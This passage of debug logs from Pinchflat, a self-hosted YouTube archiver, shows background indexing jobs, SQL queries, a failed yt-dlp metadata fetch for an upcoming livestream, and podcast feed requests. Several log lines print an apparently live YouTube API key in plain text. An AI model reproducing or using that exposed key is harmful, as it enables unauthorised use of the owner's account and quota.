s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:52.615 [debug] QUERY OK source="media_profiles" db=0.1ms idle=740.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:52.615 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:52.615 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 17:07:52.615 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:52.615 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:52.761 [debug] QUERY OK source="media_items" db=0.6ms idle=146.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "at1HS1CNhe4", "pdrkOatgS_A", "fZX9-DTtDu8", "DgIv5AL8ek0", "djQQcn82_-M", "8lgb4yJ4apU", "loHSfZtIZbE", "nb0MwOXlSZ4", "o_zc6xASQpo", "pwCuzh_HxH8", "KovIZ07Dyx0", "JlQ_djYS0Dg", "1ufoYAQIhu4", "CctFxxf5ApY", "3cZZg1F4RCM", "MxIotxKBjVs", "6HPf_fvPOo4", "TlMHxNDd1X0", "M6yt1wfLvDM", "Mlh6NXtaT_o", "EQMJhxyBsBo", "u9JLKYF71jE", "Npy2CUZZUng", "c1Q3m4x1bJc", "RCFsP8-KGbA", "I1UB7k60dAU", "0p_LmbcqEV4", "8rWtLqyQm6E", "ApwhFXN8bJ8", "3NPHV-X_HvY", "cu0_ZEIT5YU", "nUl4MdDnl1s", "T8TCN0aYs2s", "hgWUxQUlvKs", "mmRqMuMx5VE", "TyKtFYzJBbg", "6vmTf1PEcF8", "GlJaxmUGwr8", "u78CMLm10fU", "vCqX0ZkoPMU", "U4f0LqqYqNU", "S1vsk6Liubo", "c-H0zyWubLc", "WzdR8f2LzwM", "FhV_flNpQOs", "826O9YGrGCg", "i0SCgfej3w0", "w3QlyvY600Q", "O2hSlsvB8nA", ...] 17:07:52.765 [debug] QUERY OK source="media_items" db=2.4ms idle=147.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 17:07:52.766 [debug] QUERY OK source="tasks" db=0.2ms idle=1.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800152, 5, ~U[2026-02-10 23:07:52Z], ~U[2026-02-10 23:07:52Z]] 17:07:52.766 [info] {"args":{"id":5},"id":3800113,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":151994,"event":"job:stop","queue_time":521356,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:57.620 [info] {"args":{"id":1},"id":3800114,"meta":{},"system_time":1770764877620681524,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:57.621 [debug] QUERY OK source="sources" db=0.1ms idle=1742.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:07:57.621 [debug] QUERY OK source="settings" db=0.2ms idle=1742.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:57.621 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:57.621 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:57.621 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 17:07:57.622 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:57.622 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:57.703 [debug] QUERY OK source="media_items" db=0.5ms idle=81.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "aXZ-NfMu60Q", "RTZlj4mmpNE", "o4e-Kt02rfc", "sRUupu5iudw", "9bLNw6Zb_SQ", "4gqNRGucp50", "FFtr2vNwDNU", "cnNucwTyy8w", "pRLn1pingDM", "xKIFCdPHeJU", "hxc8RgchpBs", "OT_iyvOy0Tk", "4Ps-JDyimJw", "2I9Qk0sB68o", "2psXxetNpoo", "u8Xyx2L4Nlg", "GODPh96F0M0", "sPU6wVz2iE8", "KeLmi62DmjU", "eNb55ZwnCRc", "wZZf6LM3wAU", "wcI-lqMwNSY", "omCWNO7Jbnw", "qklfd81ceeY", "VJqMPFNP4to", "-nTm_xZY3o4", "Px117so_Mww", "QFtCeGjKOxU", "Mo-0nz6Mlig", "iBt1TLBFTRs", "pdM3d0DRY8U", "bG68OBQ3x9Y", "MJr40qys1g0", "FV8iLYP54XQ", "rmiB2NnXgPU", "9rnjawJ_QDc", "ckiGgyCB88U", "URCnFcSypKc", "wFbjoKV876M", "hLnPciB8cGs", "433kipkEERY", "2P2G4b8V2Eg", "IJWvYvCJ0os", "iRvyRo5Fk0o", "oznSYLMrSt4", "3yO0m8X0xn4", "KyoXLbfpZfg", "GLGK0GKexds", "i_cIhvzoKEM", ...] 17:07:57.713 [debug] QUERY OK source="media_items" db=9.7ms idle=82.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:07:57.732 [debug] QUERY OK source="tasks" db=0.9ms idle=1.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800153, 1, ~U[2026-02-10 23:07:57Z], ~U[2026-02-10 23:07:57Z]] 17:07:57.732 [info] {"args":{"id":1},"id":3800114,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":111387,"event":"job:stop","queue_time":509438,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:59.012 [info] {"source":"oban","duration":14417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.058 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:08:29.024 [info] {"source":"oban","duration":10866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:59.035 [info] {"source":"oban","duration":10175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.059 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:09:29.046 [info] {"source":"oban","duration":10290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:59.057 [info] {"source":"oban","duration":10537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.060 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:10:29.066 [info] {"source":"oban","duration":7828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:43.791 [info] {"args":{"id":37},"id":3800115,"meta":{},"system_time":1770765043791493036,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:10:43.792 [debug] QUERY OK source="sources" db=0.8ms idle=913.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:10:43.793 [debug] QUERY OK source="settings" db=0.6ms idle=914.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:10:43.794 [debug] QUERY OK source="media_profiles" db=0.6ms idle=914.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:10:43.794 [debug] QUERY OK source="settings" db=0.6ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:10:43.794 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 17:10:43.794 [debug] QUERY OK source="settings" db=0.0ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:10:43.795 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:10:43.906 [debug] QUERY OK source="media_items" db=0.6ms idle=112.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 17:10:43.906 [debug] QUERY OK source="settings" db=0.0ms idle=113.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:10:43.906 [debug] QUERY OK source="settings" db=0.0ms idle=112.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:10:43.906 [debug] Running yt-dlp command for action: get_media_attributes 17:10:43.907 [debug] QUERY OK source="settings" db=0.0ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:10:43.907 [debug] QUERY OK source="settings" db=0.0ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:10:43.907 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:10:43.907 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/10/75/1075d82ccb1db925f20c0655c2f06e58ae9b2d9afe350bc144975b159a5a3997.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:10:45.200 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/10/75/1075d82ccb1db925f20c0655c2f06e58ae9b2d9afe350bc144975b159a5a3997.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 16 hours. 17:10:45.200 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 16 hours.\n", 1} 17:10:45.202 [debug] QUERY OK source="media_items" db=1.0ms idle=1294.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 17:10:45.203 [debug] QUERY OK source="tasks" db=0.1ms idle=417.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800154, 37, ~U[2026-02-10 23:10:45Z], ~U[2026-02-10 23:10:45Z]] 17:10:45.203 [info] {"args":{"id":37},"id":3800115,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1412176,"event":"job:stop","queue_time":281178,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:10:59.077 [info] {"source":"oban","duration":10526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.061 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:11:21.309 [info] GET /sources/4121b109-50ec-4197-a462-3579d5850ea0/feed.xml 17:11:21.309 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "4121b109-50ec-4197-a462-3579d5850ea0"} Pipelines: [:maybe_basic_auth] 17:11:21.309 [debug] QUERY OK source="sources" db=0.2ms idle=1431.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["4121b109-50ec-4197-a462-3579d5850ea0"] 17:11:21.312 [debug] QUERY OK source="media_items" db=2.4ms idle=485.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [12, 2000] 17:11:21.320 [debug] QUERY OK source="source_metadata" db=0.0ms idle=442.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [12] 17:11:21.320 [debug] QUERY OK source="media_metadata" db=0.0ms idle=442.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563694] 17:11:21.320 [info] Sent 200 in 11ms 17:11:21.408 [info] GET /sources/54410283-ff90-408b-84a6-9b0f438201ec/feed.xml 17:11:21.408 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "54410283-ff90-408b-84a6-9b0f438201ec"} Pipelines: [:maybe_basic_auth] 17:11:21.409 [debug] QUERY OK source="sources" db=0.2ms idle=530.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["54410283-ff90-408b-84a6-9b0f438201ec"] 17:11:21.413 [debug] QUERY OK source="media_items" db=3.8ms idle=99.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", 